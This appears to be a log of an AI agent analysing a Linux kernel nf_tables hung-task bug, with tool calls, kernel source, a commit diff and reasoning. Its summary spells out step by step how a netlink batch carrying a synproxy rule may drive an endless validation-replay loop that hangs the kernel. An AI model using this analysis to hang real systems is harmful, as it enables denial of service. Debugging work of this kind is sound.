Results: map[Output:net/netfilter/nf_tables_api.c=82=static const u8 nft2audit_op[NFT_MSG_MAX] = { // enum nf_tables_msg_types
--
net/netfilter/nf_tables_api.c-110-
net/netfilter/nf_tables_api.c:111:static void nft_validate_state_update(struct nft_table *table, u8 new_validate_state)
net/netfilter/nf_tables_api.c-112-{
--
net/netfilter/nf_tables_api.c=4195=static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
--
net/netfilter/nf_tables_api.c-4348- if (expr_info[i].ops->validate)
net/netfilter/nf_tables_api.c:4349: nft_validate_state_update(table, NFT_VALIDATE_NEED);
net/netfilter/nf_tables_api.c-4350-
--
net/netfilter/nf_tables_api.c=7195=static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
--
net/netfilter/nf_tables_api.c-7445- elem.data.val.verdict.code == NFT_JUMP))
net/netfilter/nf_tables_api.c:7446: nft_validate_state_update(ctx->table,
net/netfilter/nf_tables_api.c-7447- NFT_VALIDATE_NEED);
--
net/netfilter/nf_tables_api.c=10079=static int nf_tables_validate(struct net *net)
--
net/netfilter/nf_tables_api.c-10088- case NFT_VALIDATE_NEED:
net/netfilter/nf_tables_api.c:10089: nft_validate_state_update(table, NFT_VALIDATE_DO);
net/netfilter/nf_tables_api.c-10090- fallthrough;
--
net/netfilter/nf_tables_api.c-10094-
net/netfilter/nf_tables_api.c:10095: nft_validate_state_update(table, NFT_VALIDATE_SKIP);
net/netfilter/nf_tables_api.c-10096- break;
]
|
| 329/2 |
2026/05/31 10:54 |
llm |
expert |
0m
Model:
Tokens:
input: 144131
output: 41
thoughts: 63
Thoughts: **Diving into NFT Table Validation and Cleanup**
Okay, so I'm looking at `nft_validate_state_update` – the key function, and bingo, it takes a `struct nft_table *table` as an argument. That's good, that's what I expect. Now, I need to understand how table cleanup works and, more specifically, the relation between the validation and cleanup mechanisms. I was looking at `nf_tables_cleanup` to see how it might relate. Huh, that's strange... it's not even showing up in the Grep output. I better double check my search criteria and make sure I'm looking in the right spot for `nf_tables_cleanup`. Something isn't adding up here, so I'll need to re-examine that function and the surrounding context.
|
| 330/2 |
2026/05/31 10:54 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_cleanup]
Results: map[SourceCode: SourceFile:]
|
| 331/2 |
2026/05/31 10:54 |
llm |
expert |
0m
Model:
Tokens:
input: 144432
output: 19
thoughts: 0
|
| 332/2 |
2026/05/31 10:54 |
tool |
grepper |
0m
Error:
Args: map[Expression:nf_tables_cleanup]
Results:
|
| 333/2 |
2026/05/31 10:55 |
llm |
expert |
0m
Model:
Tokens:
input: 144465
output: 41
thoughts: 98
Thoughts: **Investigating the Disappearance of `nf_tables_cleanup`**
Okay, hold on a second. I could *swear* I saw a function called `nf_tables_cleanup` mentioned in the commit `c0391b6ab810`. I'm going through some code and that name just jumped out at me. Let me double-check... Yup, there it is! But it seems to be missing in the current kernel source. That's unusual.
Here's the definition from that commit:
```c
static void nf_tables_cleanup(struct net *net)
{
nft_validate_state_update(net, NFT_VALIDATE_SKIP);
}
```
This is intriguing. My immediate response is to cross-reference this with the current kernel. Where *is* it? I need to get a better handle on this. Let me pivot and see if `nf_tables_abort` is currently defined and see what that can tell me. That might shed some light on the situation.
|
| 334/2 |
2026/05/31 10:55 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_abort]
Results: map[SourceCode:11455: static int nf_tables_abort(struct net *net, struct sk_buff *skb,
11456: enum nfnl_abort_action action)
11457: {
11458: struct nftables_pernet *nft_net = nft_pernet(net);
11459: unsigned int gc_seq;
11460: int ret;
11461:
11462: gc_seq = nft_gc_seq_begin(nft_net);
11463: ret = __nf_tables_abort(net, action);
11464: nft_gc_seq_end(nft_net, gc_seq);
11465:
11466: WARN_ON_ONCE(!list_empty(&nft_net->commit_list));
11467:
11468: /* module autoload needs to happen after GC sequence update because it
11469: * temporarily releases and grabs mutex again.
11470: */
11471: if (action == NFNL_ABORT_AUTOLOAD)
11472: nf_tables_module_autoload(net);
11473: else
11474: nf_tables_module_autoload_cleanup(net);
11475:
11476: mutex_unlock(&nft_net->commit_mutex);
11477:
11478: return ret;
11479: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 335/2 |
2026/05/31 10:55 |
llm |
expert |
0m
Model:
Tokens:
input: 145261
output: 45
thoughts: 34
Thoughts: **Investigating the Removal of `nf_tables_cleanup`**
Right, so `nf_tables_cleanup` is gone. Interesting. I need to figure out when this change happened, and the reason behind it, of course. My first instinct is to dive into the `git log`. Let's see if I can pinpoint the commit that ripped it out. That's the best place to start. A quick `git log` search for `nf_tables_cleanup` should tell the story. Let's get to it.
|
| 336/2 |
2026/05/31 10:55 |
tool |
git-log |
0m
Args: map[CodeRegexp:nf_tables_cleanup Count:10 PathPrefix:net/netfilter/nf_tables_api.c]
Results: map[Output:9a32e9850686 netfilter: nf_tables: don't write table validation state without mutex
a654de8fdc18 netfilter: nf_tables: fix chain dependency validation
]
|
| 337/2 |
2026/05/31 10:55 |
llm |
expert |
0m
Model:
Tokens:
input: 145517
output: 27
thoughts: 0
|
| 338/2 |
2026/05/31 10:55 |
tool |
git-show |
0m
Args:
Results: map[Output:commit 9a32e9850686599ed194ccdceb6cd3dd56b2d9b9
Author: Florian Westphal <fw@strlen.de>
Date: Thu Apr 13 17:13:19 2023 +0200
netfilter: nf_tables: don't write table validation state without mutex
The ->cleanup callback needs to be removed, this doesn't work anymore as
the transaction mutex is already released in the ->abort function.
Just do it after a successful validation pass, this either happens
from commit or abort phases where transaction mutex is held.
Fixes: f102d66b335a ("netfilter: nf_tables: use dedicated mutex to guard transactions")
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
diff --git a/include/linux/netfilter/nfnetlink.h b/include/linux/netfilter/nfnetlink.h
index 241e005f290a..e9a9ab34a7cc 100644
--- a/include/linux/netfilter/nfnetlink.h
+++ b/include/linux/netfilter/nfnetlink.h
@@ -45,7 +45,6 @@ struct nfnetlink_subsystem {
int (*commit)(struct net *net, struct sk_buff *skb);
int (*abort)(struct net *net, struct sk_buff *skb,
enum nfnl_abort_action action);
- void (*cleanup)(struct net *net);
bool (*valid_genid)(struct net *net, u32 genid);
};
diff --git a/net/netfilter/nf_tables_api.c b/net/netfilter/nf_tables_api.c
index 0e1c86bb51a2..21eb273d2740 100644
--- a/net/netfilter/nf_tables_api.c
+++ b/net/netfilter/nf_tables_api.c
@@ -8639,6 +8639,8 @@ static int nf_tables_validate(struct net *net)
if (nft_table_validate(net, table) < 0)
return -EAGAIN;
}
+
+ nft_validate_state_update(net, NFT_VALIDATE_SKIP);
break;
}
@@ -9578,11 +9580,6 @@ static int __nf_tables_abort(struct net *net, enum nfnl_abort_action action)
return 0;
}
-static void nf_tables_cleanup(struct net *net)
-{
- nft_validate_state_update(net, NFT_VALIDATE_SKIP);
-}
-
static int nf_tables_abort(struct net *net, struct sk_buff *skb,
enum nfnl_abort_action action)
{
@@ -9616,7 +9613,6 @@ static const struct nfnetlink_subsystem nf_tables_subsys = {
.cb = nf_tables_cb,
.commit = nf_tables_commit,
.abort = nf_tables_abort,
- .cleanup = nf_tables_cleanup,
.valid_genid = nf_tables_valid_genid,
.owner = THIS_MODULE,
};
diff --git a/net/netfilter/nfnetlink.c b/net/netfilter/nfnetlink.c
index 81c7737c803a..ae7146475d17 100644
--- a/net/netfilter/nfnetlink.c
+++ b/net/netfilter/nfnetlink.c
@@ -590,8 +590,6 @@ static void nfnetlink_rcv_batch(struct sk_buff *skb, struct nlmsghdr *nlh,
goto replay_abort;
}
}
- if (ss->cleanup)
- ss->cleanup(net);
nfnl_err_deliver(&err_list, oskb);
kfree_skb(skb);
]
|
| 339/2 |
2026/05/31 10:55 |
llm |
expert |
0m
Model:
Tokens:
input: 146640
output: 42
thoughts: 306
Thoughts: **The Curious Case of NFT Validation**
Okay, so I'm diving into this `nf_tables_validate` function and I'm seeing something peculiar. It looks like after a successful validation pass (the `NFT_VALIDATE_DO` case), it sets the `validate_state` to `SKIP`. Seems logical, right? But wait a minute... My spidey senses are tingling.
The code has a `list_for_each_entry` loop, iterating through tables. Inside, it calls `nft_table_validate`. Crucially, if that function returns a value less than zero (meaning an error), it IMMEDIATELY returns `-EAGAIN`. Aha! That means the `nft_validate_state_update(net, NFT_VALIDATE_SKIP)` line is completely skipped. So, `validate_state` stays at `NFT_VALIDATE_DO`!
And what's the consequence of that? Later, `nf_tables_commit` is going to return `-EAGAIN`. Then, `nfnetlink_rcv_batch` replays the transaction. In the replay, I recall, `nf_tables_newrule` checks `net->nft.validate_state`. But if, as a result of that error, `validate_state` never got updated to `SKIP`, it's going to hit that validation check again.
Hmm, this warrants a closer look at `nf_tables_newrule` in the *current* kernel. I need to refresh my memory and verify this behavior. Something doesn't feel right... it's a potential loop, a retry storm, and a possible denial of service if these conditions are met. Time to investigate!
|
| 340/2 |
2026/05/31 10:55 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_newrule]
Results: map[SourceCode:4195: static int nf_tables_newrule(struct sk_buff *skb, const struct nfnl_info *info,
4196: const struct nlattr * const nla[])
4197: {
4198: struct nftables_pernet *nft_net = nft_pernet(info->net);
4199: struct netlink_ext_ack *extack = info->extack;
4200: unsigned int size, i, n, ulen = 0, usize = 0;
4201: u8 genmask = nft_genmask_next(info->net);
4202: struct nft_rule *rule, *old_rule = NULL;
4203: struct nft_expr_info *expr_info = NULL;
4204: u8 family = info->nfmsg->nfgen_family;
4205: struct nft_flow_rule *flow = NULL;
4206: struct net *net = info->net;
4207: struct nft_userdata *udata;
4208: struct nft_table *table;
4209: struct nft_chain *chain;
4210: struct nft_trans *trans;
4211: u64 handle, pos_handle;
4212: struct nft_expr *expr;
4213: struct nft_ctx ctx;
4214: struct nlattr *tmp;
4215: int err, rem;
4216:
4217: lockdep_assert_held(&nft_net->commit_mutex);
4218:
4219: table = nft_table_lookup(net, nla[NFTA_RULE_TABLE], family, genmask,
4220: NETLINK_CB(skb).portid);
4221: if (IS_ERR(table)) {
4222: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_TABLE]);
4223: return PTR_ERR(table);
4224: }
4225:
4226: if (nla[NFTA_RULE_CHAIN]) {
4227: chain = nft_chain_lookup(net, table, nla[NFTA_RULE_CHAIN],
4228: genmask);
4229: if (IS_ERR(chain)) {
4230: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN]);
4231: return PTR_ERR(chain);
4232: }
4233:
4234: } else if (nla[NFTA_RULE_CHAIN_ID]) {
4235: chain = nft_chain_lookup_byid(net, table, nla[NFTA_RULE_CHAIN_ID],
4236: genmask);
4237: if (IS_ERR(chain)) {
4238: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_CHAIN_ID]);
4239: return PTR_ERR(chain);
4240: }
4241: } else {
4242: return -EINVAL;
4243: }
4244:
4245: if (nft_chain_is_bound(chain))
4246: return -EOPNOTSUPP;
4247:
4248: if (nla[NFTA_RULE_HANDLE]) {
4249: handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_HANDLE]));
4250: rule = __nft_rule_lookup(net, chain, handle);
4251: if (IS_ERR(rule)) {
4252: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4253: return PTR_ERR(rule);
4254: }
4255:
4256: if (info->nlh->nlmsg_flags & NLM_F_EXCL) {
4257: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_HANDLE]);
4258: return -EEXIST;
4259: }
4260: if (info->nlh->nlmsg_flags & NLM_F_REPLACE)
4261: old_rule = rule;
4262: else
4263: return -EOPNOTSUPP;
4264: } else {
4265: if (!(info->nlh->nlmsg_flags & NLM_F_CREATE) ||
4266: info->nlh->nlmsg_flags & NLM_F_REPLACE)
4267: return -EINVAL;
4268: handle = nf_tables_alloc_handle(table);
4269:
4270: if (nla[NFTA_RULE_POSITION]) {
4271: pos_handle = be64_to_cpu(nla_get_be64(nla[NFTA_RULE_POSITION]));
4272: old_rule = __nft_rule_lookup(net, chain, pos_handle);
4273: if (IS_ERR(old_rule)) {
4274: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION]);
4275: return PTR_ERR(old_rule);
4276: }
4277: } else if (nla[NFTA_RULE_POSITION_ID]) {
4278: old_rule = nft_rule_lookup_byid(net, chain, nla[NFTA_RULE_POSITION_ID]);
4279: if (IS_ERR(old_rule)) {
4280: NL_SET_BAD_ATTR(extack, nla[NFTA_RULE_POSITION_ID]);
4281: return PTR_ERR(old_rule);
4282: }
4283: }
4284: }
4285:
4286: nft_ctx_init(&ctx, net, skb, info->nlh, family, table, chain, nla);
4287:
4288: n = 0;
4289: size = 0;
4290: if (nla[NFTA_RULE_EXPRESSIONS]) {
4291: expr_info = kvmalloc_array(NFT_RULE_MAXEXPRS,
4292: sizeof(struct nft_expr_info),
4293: GFP_KERNEL);
4294: if (!expr_info)
4295: return -ENOMEM;
4296:
4297: nla_for_each_nested(tmp, nla[NFTA_RULE_EXPRESSIONS], rem) {
4298: err = -EINVAL;
4299: if (nla_type(tmp) != NFTA_LIST_ELEM)
4300: goto err_release_expr;
4301: if (n == NFT_RULE_MAXEXPRS)
4302: goto err_release_expr;
4303: err = nf_tables_expr_parse(&ctx, tmp, &expr_info[n]);
4304: if (err < 0) {
4305: NL_SET_BAD_ATTR(extack, tmp);
4306: goto err_release_expr;
4307: }
4308: size += expr_info[n].ops->size;
4309: n++;
4310: }
4311: }
4312: /* Check for overflow of dlen field */
4313: err = -EFBIG;
4314: if (size >= 1 << 12)
4315: goto err_release_expr;
4316:
4317: if (nla[NFTA_RULE_USERDATA]) {
4318: ulen = nla_len(nla[NFTA_RULE_USERDATA]);
4319: if (ulen > 0)
4320: usize = sizeof(struct nft_userdata) + ulen;
4321: }
4322:
4323: err = -ENOMEM;
4324: rule = kzalloc(sizeof(*rule) + size + usize, GFP_KERNEL_ACCOUNT);
4325: if (rule == NULL)
4326: goto err_release_expr;
4327:
4328: nft_activate_next(net, rule);
4329:
4330: rule->handle = handle;
4331: rule->dlen = size;
4332: rule->udata = ulen ? 1 : 0;
4333:
4334: if (ulen) {
4335: udata = nft_userdata(rule);
4336: udata->len = ulen - 1;
4337: nla_memcpy(udata->data, nla[NFTA_RULE_USERDATA], ulen);
4338: }
4339:
4340: expr = nft_expr_first(rule);
4341: for (i = 0; i < n; i++) {
4342: err = nf_tables_newexpr(&ctx, &expr_info[i], expr);
4343: if (err < 0) {
4344: NL_SET_BAD_ATTR(extack, expr_info[i].attr);
4345: goto err_release_rule;
4346: }
4347:
4348: if (expr_info[i].ops->validate)
4349: nft_validate_state_update(table, NFT_VALIDATE_NEED);
4350:
4351: expr_info[i].ops = NULL;
4352: expr = nft_expr_next(expr);
4353: }
4354:
4355: if (chain->flags & NFT_CHAIN_HW_OFFLOAD) {
4356: flow = nft_flow_rule_create(net, rule);
4357: if (IS_ERR(flow)) {
4358: err = PTR_ERR(flow);
4359: goto err_release_rule;
4360: }
4361: }
4362:
4363: if (!nft_use_inc(&chain->use)) {
4364: err = -EMFILE;
4365: goto err_release_rule;
4366: }
4367:
4368: if (info->nlh->nlmsg_flags & NLM_F_REPLACE) {
4369: if (nft_chain_binding(chain)) {
4370: err = -EOPNOTSUPP;
4371: goto err_destroy_flow_rule;
4372: }
4373:
4374: err = nft_delrule(&ctx, old_rule);
4375: if (err < 0)
4376: goto err_destroy_flow_rule;
4377:
4378: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4379: if (trans == NULL) {
4380: err = -ENOMEM;
4381: goto err_destroy_flow_rule;
4382: }
4383: list_add_tail_rcu(&rule->list, &old_rule->list);
4384: } else {
4385: trans = nft_trans_rule_add(&ctx, NFT_MSG_NEWRULE, rule);
4386: if (!trans) {
4387: err = -ENOMEM;
4388: goto err_destroy_flow_rule;
4389: }
4390:
4391: if (info->nlh->nlmsg_flags & NLM_F_APPEND) {
4392: if (old_rule)
4393: list_add_rcu(&rule->list, &old_rule->list);
4394: else
4395: list_add_tail_rcu(&rule->list, &chain->rules);
4396: } else {
4397: if (old_rule)
4398: list_add_tail_rcu(&rule->list, &old_rule->list);
4399: else
4400: list_add_rcu(&rule->list, &chain->rules);
4401: }
4402: }
4403: kvfree(expr_info);
4404:
4405: if (flow)
4406: nft_trans_flow_rule(trans) = flow;
4407:
4408: if (table->validate_state == NFT_VALIDATE_DO)
4409: return nft_table_validate(net, table);
4410:
4411: return 0;
4412:
4413: err_destroy_flow_rule:
4414: nft_use_dec_restore(&chain->use);
4415: if (flow)
4416: nft_flow_rule_destroy(flow);
4417: err_release_rule:
4418: nft_rule_expr_deactivate(&ctx, rule, NFT_TRANS_PREPARE_ERROR);
4419: nf_tables_rule_destroy(&ctx, rule);
4420: err_release_expr:
4421: for (i = 0; i < n; i++) {
4422: if (expr_info[i].ops) {
4423: module_put(expr_info[i].ops->type->owner);
4424: if (expr_info[i].ops->type->release_ops)
4425: expr_info[i].ops->type->release_ops(expr_info[i].ops);
4426: }
4427: }
4428: kvfree(expr_info);
4429:
4430: return err;
4431: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 341/2 |
2026/05/31 10:55 |
llm |
expert |
0m
Model:
Tokens:
input: 151192
output: 50
thoughts: 6308
Thoughts: **Analyzing a Potential Hang in nf_tables with synproxy**
Okay, I've got a reproducer that's causing a hung task, specifically related to using `synproxy` with `nf_tables`. My first instinct was to check for infinite loops or deadlocks within the netfilter framework, particularly during rule validation or module autoloading. Initially, I was looking at the `nf_tables_commit` function and the potential for replaying operations. I traced through how `nft_net->validate_state` and `table->validate_state` are used and updated within the validation process and during rule creation. I convinced myself that the core replay mechanisms weren't the source of the hang based on error codes like `-EAGAIN` and `-ENOENT` and how these were handled.
I moved on to investigate potential deadlocks involving mutexes. The key mutexes in play here appeared to be `commit_mutex`, `nf_ct_proto_mutex` and `nf_hook_mutex`. I checked the lock order and determined it was the following: `commit_mutex` -> `nf_ct_proto_mutex` -> `nf_hook_mutex`. I tried to determine if there were other code paths taking these locks in a reverse order, which might cause a deadlock.
The reproduction steps appeared to be creating a table, a chain, and adding a rule with `synproxy`. I examined the `synproxy` code, particularly the initialization (`nft_synproxy_do_init`) and related functions like `nf_synproxy_ipv4_init`, looking for any obvious races or concurrency issues. I noticed that `nf_synproxy_ipv4_init` calls `nf_register_net_hooks` which calls `nf_register_net_hook`, both of which use `nf_hook_mutex`. I verified that `nf_synproxy_do_init` is called from `nf_tables_newrule` with `commit_mutex` held, preventing races in `nf_synproxy_ipv4_init`.
The reproducer's Netlink message payload was crucial. It revealed that the setup was a legitimate series of Netlink messages to create a table, chain, and rule with synproxy. So the code was not being sent something illegitimate.
Diving deeper, I found that `nft_synproxy_do_init` calls `nf_ct_netns_get`. The implementation of `nf_ct_netns_get` involved taking `nf_ct_proto_mutex` and calling functions that register hooks. This is where I found the code taking `nf_ct_proto_mutex` and `nf_hook_mutex`.
Finally, it seems the potential hang might be a deadlock between the aforementioned three mutexes. The reproduction steps seem to be: `commit_mutex` -> `nf_ct_proto_mutex` -> `nf_hook_mutex`. If some other code path takes `nf_hook_mutex` *before* `nf_ct_proto_mutex`, then there would be a deadlock. Time to check for this other code path.
|
| 342/2 |
2026/05/31 10:56 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/ipv4/netfilter/nf_defrag_ipv4.c Name:nf_defrag_ipv4_enable]
Results: map[SourceCode: 145: int nf_defrag_ipv4_enable(struct net *net)
146: {
147: int err = 0;
148:
149: mutex_lock(&defrag4_mutex);
150: if (net->nf.defrag_ipv4_users == UINT_MAX) {
151: err = -EOVERFLOW;
152: goto out_unlock;
153: }
154:
155: if (net->nf.defrag_ipv4_users) {
156: net->nf.defrag_ipv4_users++;
157: goto out_unlock;
158: }
159:
160: err = nf_register_net_hooks(net, ipv4_defrag_ops,
161: ARRAY_SIZE(ipv4_defrag_ops));
162: if (err == 0)
163: net->nf.defrag_ipv4_users = 1;
164:
165: out_unlock:
166: mutex_unlock(&defrag4_mutex);
167: return err;
168: }
SourceFile:net/ipv4/netfilter/nf_defrag_ipv4.c]
|
| 343/2 |
2026/05/31 10:56 |
llm |
expert |
0m
Model:
Tokens:
input: 158585
output: 43
thoughts: 473
Thoughts: **Debugging the Network Filtering Issue**
Okay, so I'm trying to figure out what's causing this issue, and the first thing that jumps out is that we're dealing with `defrag4_mutex` and `nf_hook_mutex`. That’s a good starting point. My initial hunch was that `nfnetlink_rcv_batch` wasn't looping indefinitely, but was just taking ages because of `request_module`. But that doesn't seem right. It looks like `request_module` could be forking `modprobe` and returning `-ENOENT` right away if it's not found.
Wait a minute, I noticed the payload in the reproducer has a PID (260) in the `NEWRULE` message, which is represented by `00 00 01 04`. Does `nfnetlink_rcv_batch` even *care* about the PID? Probably not.
Okay, I think I've found something. I stumbled upon commit `1d305ba40eb8` that mentions "nft will loop forever if the kernel doesn't support an expression." I checked the current kernel, and it seems that `nf_tables_module_autoload` DOESN'T remove the request from the `module_list`, which is good because it won't loop forever.
However, here's where it gets interesting: What if `nft_request_module` is called and returns `-EAGAIN`? Then `nf_tables_module_autoload` sets `req->done = true`. And in the replay, `nft_request_module` returns 0. Then `nft_expr_type_request_module` returns 0, and `nft_expr_type_get` gives us `-ENOENT`. This leads `nf_tables_expr_parse` to return `-ENOENT`. Then `nf_tables_newrule` returns `-ENOENT`, which `nfnetlink_rcv_batch` handles by setting `status |= NFNL_BATCH_FAILURE` and going to `ack:`. Then it hits `done:`, and calls `ss->abort(net, oskb, NFNL_ABORT_NONE)`, which breaks the loop.
But what if `nf_tables_expr_parse` *doesn't* return `-ENOENT`? Okay, I'm going to have to dive into `nf_tables_expr_parse` now to see what's happening there.
|
| 344/2 |
2026/05/31 10:56 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_expr_parse]
Results: map[SourceCode:3399: static int nf_tables_expr_parse(const struct nft_ctx *ctx,
3400: const struct nlattr *nla,
3401: struct nft_expr_info *info)
3402: {
3403: const struct nft_expr_type *type;
3404: const struct nft_expr_ops *ops;
3405: struct nlattr *tb[NFTA_EXPR_MAX + 1];
3406: int err;
3407:
3408: err = nla_parse_nested_deprecated(tb, NFTA_EXPR_MAX, nla,
3409: nft_expr_policy, NULL);
3410: if (err < 0)
3411: return err;
3412:
3413: type = nft_expr_type_get(ctx->net, ctx->family, tb[NFTA_EXPR_NAME]);
3414: if (IS_ERR(type))
3415: return PTR_ERR(type);
3416:
3417: if (tb[NFTA_EXPR_DATA]) {
3418: err = nla_parse_nested_deprecated(info->tb, type->maxattr,
3419: tb[NFTA_EXPR_DATA],
3420: type->policy, NULL);
3421: if (err < 0)
3422: goto err1;
3423: } else
3424: memset(info->tb, 0, sizeof(info->tb[0]) * (type->maxattr + 1));
3425:
3426: if (type->select_ops != NULL) {
3427: ops = type->select_ops(ctx,
3428: (const struct nlattr * const *)info->tb);
3429: if (IS_ERR(ops)) {
3430: err = PTR_ERR(ops);
3431: #ifdef CONFIG_MODULES
3432: if (err == -EAGAIN)
3433: if (nft_expr_type_request_module(ctx->net,
3434: ctx->family,
3435: tb[NFTA_EXPR_NAME]) != -EAGAIN)
3436: err = -ENOENT;
3437: #endif
3438: goto err1;
3439: }
3440: } else
3441: ops = type->ops;
3442:
3443: info->attr = nla;
3444: info->ops = ops;
3445:
3446: return 0;
3447:
3448: err1:
3449: module_put(type->owner);
3450: return err;
3451: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 345/2 |
2026/05/31 10:56 |
llm |
expert-compressor |
6m
Model:
Reply: **1. Approaches Tried & Results:**
* **Analyzed `crda_timeout_work`:** Confirmed it hangs waiting for `rtnl_lock()`.
* **Traced `nfnetlink_rcv_batch`:** Examined the batch processing loop, specifically how it handles `-EAGAIN` from `ss->commit` and `ss->abort` by replaying the batch.
* **Investigated `request_module` loops:** Looked into `nf_tables_module_autoload` and `nft_request_module`. Found commit `1d305ba40eb8` which previously fixed an infinite loop where `request_module` returning `-EAGAIN` caused endless replays. Confirmed the current kernel has this fix.
* **Analyzed `nf_tables_validate`:** Investigated the ruleset validation path introduced in commit `a654de8fdc18`. Discovered that `nf_tables_validate` returns `-EAGAIN` if `nft_table_validate` fails (e.g., due to an unsupported hook in an expression).
* **Analyzed `__nf_tables_abort`:** Checked how state is rolled back. Found that newly created tables are deleted (`list_del_rcu(&table->list)`), which destroys their `validate_state`.
**2. Current Hypotheses & Active Lines of Investigation:**
* **Validation-Induced Infinite Loop:** The primary hypothesis is a 100% reproducible infinite loop in `nfnetlink_rcv_batch` caused by a logic flaw in how validation errors are handled.
* **Step 1:** The reproducer sends a batch creating a table, a chain, and a rule with a `synproxy` expression.
* **Step 2:** `nf_tables_newrule` adds the rule and sets the table's `validate_state` to `NFT_VALIDATE_NEED`.
* **Step 3:** `nf_tables_commit` calls `nf_tables_validate`, which changes the state to `NFT_VALIDATE_DO` and calls `nft_table_validate`.
* **Step 4:** If validation fails (e.g., `nft_synproxy_validate` rejects the hook), `nft_table_validate` returns an error (like `-EOPNOTSUPP`). However, `nf_tables_validate` masks this and returns `-EAGAIN`.
* **Step 5:** `nf_tables_commit` returns `-EAGAIN` to `nfnetlink_rcv_batch`, which sets `NFNL_BATCH_REPLAY` and aborts the transaction.
* **Step 6:** `__nf_tables_abort` deletes the newly created table, completely losing the `NFT_VALIDATE_DO` state.
* **Step 7:** `nfnetlink_rcv_batch` replays the exact same batch. The table is recreated with a fresh `validate_state = NFT_VALIDATE_SKIP`.
* **Step 8:** Because the state is `SKIP`, `nf_tables_newrule` does *not* perform inline validation (which would have properly failed the batch). It just sets the state back to `NEED`.
* **Step 9:** `commit` is called, validation fails again, returns `-EAGAIN`, and the cycle repeats forever.
* **CPU Starvation causing Hung Task:** This infinite loop runs in the context of the `sendmsg` syscall without explicitly yielding (allocations use `GFP_KERNEL` but may not schedule if memory is available). On a non-preemptible kernel, this hogs the CPU 100%, preventing RCU grace periods from completing and starving any task (like `crda_timeout_work`) that is waiting for `rtnl_lock()`.
**3. Critical File Paths & Code Snippets:**
* `net/netfilter/nf_tables_api.c`:
* `nf_tables_validate()`: The source of the `-EAGAIN` mask:
```c
case NFT_VALIDATE_DO:
if (nft_table_validate(net, table) < 0)
return -EAGAIN;
```
* `nf_tables_newrule()`: The inline validation check that gets bypassed on replay:
```c
if (table->validate_state == NFT_VALIDATE_DO)
return nft_table_validate(net, table);
```
* `__nf_tables_abort()`: Where the table and its state are destroyed.
* `net/netfilter/nfnetlink.c`:
* `nfnetlink_rcv_batch()`: The replay mechanism triggered by `err == -EAGAIN` from `ss->commit`.
**4. Reasoning Loops / Repetitive Tool Calls:**
* The agent repeatedly called `git-log` searching for `nf_tables_module_autoload` and `NFNL_ABORT_AUTOLOAD` in `net/netfilter/nf_tables_api.c` and `net/netfilter/nfnetlink.c`, triggering a system warning for repeating the exact same tool call arguments. The investigation has since pivoted away from module autoloading to the validation state machine.
Tokens:
input: 124231
output: 1177
thoughts: 51271
|
| 346/2 |
2026/05/31 11:02 |
llm |
expert |
0m
Model:
Tokens:
input: 8918
output: 41
thoughts: 123
Thoughts: **Verifying the Netlink Hung Task Bug**
Okay, so we've got a bug report: a task's hung in `crda_timeout_work`, and it's stuck on `rtnl_lock()`. The reproducer seems to involve a netlink batch message being sent to `nf_tables`. My initial thought, based on the previous analysis, is that this is due to an infinite loop within `nfnetlink_rcv_batch`. The theory is that `nf_tables_commit` is repeatedly returning `-EAGAIN` because `nf_tables_validate` is failing. Let's dig in and verify that.
My next step is to examine the `nf_tables_validate` function. I'll need to look at the code in `net/netfilter/nf_tables_api.c`. Time to see what's actually going on in that validation routine and determine if the hypothesis is sound. I need to understand why validation might fail repeatedly and trigger a retry loop that's not properly handled, leading to the lock contention.
|
| 347/2 |
2026/05/31 11:02 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/netfilter/nf_tables_api.c Name:nf_tables_validate]
Results: map[SourceCode:10079: static int nf_tables_validate(struct net *net)
10080: {
10081: struct nftables_pernet *nft_net = nft_pernet(net);
10082: struct nft_table *table;
10083:
10084: list_for_each_entry(table, &nft_net->tables, list) {
10085: switch (table->validate_state) {
10086: case NFT_VALIDATE_SKIP:
10087: continue;
10088: case NFT_VALIDATE_NEED:
10089: nft_validate_state_update(table, NFT_VALIDATE_DO);
10090: fallthrough;
10091: case NFT_VALIDATE_DO:
10092: if (nft_table_validate(net, table) < 0)
10093: return -EAGAIN;
10094:
10095: nft_validate_state_update(table, NFT_VALIDATE_SKIP);
10096: break;
10097: }
10098: }
10099:
10100: return 0;
10101: }
SourceFile:net/netfilter/nf_tables_api.c]
|
| 348/2 |
2026/05/31 11:02 |
llm |
expert |
0m
Model:
Tokens:
input: 9567
output: 42
thoughts: 69
Thoughts: Okay, here's my take on those thoughts, framed as my own mental processing as an expert in the field:
**Debugging the nftables `-EAGAIN` Loop**
Alright, so the hypothesis is that we're seeing this `-EAGAIN` return in `nf_tables_validate` whenever `nft_table_validate` bails out, right? That makes sense, a standard pattern for indicating a temporary resource unavailability, allowing for a retry. Then, `nfnetlink_rcv_batch` picks up that `-EAGAIN` from `ss->commit`, and presumably that's what's kicking off the loop we're observing. It's a classic retry loop scenario, but one that is perhaps behaving unexpectedly.
The immediate next step is to get into `nfnetlink_rcv_batch`. I need to confirm whether it is *actually* the `-EAGAIN` from `ss->commit` triggering the loop, and what the loop conditions are. What is the expected behavior when encountering `-EAGAIN` there? Does it have a timeout? Any retry limits? Are we potentially getting into an infinite loop? If so, what's missing in the logic that's meant to prevent that?
|
| 349/2 |
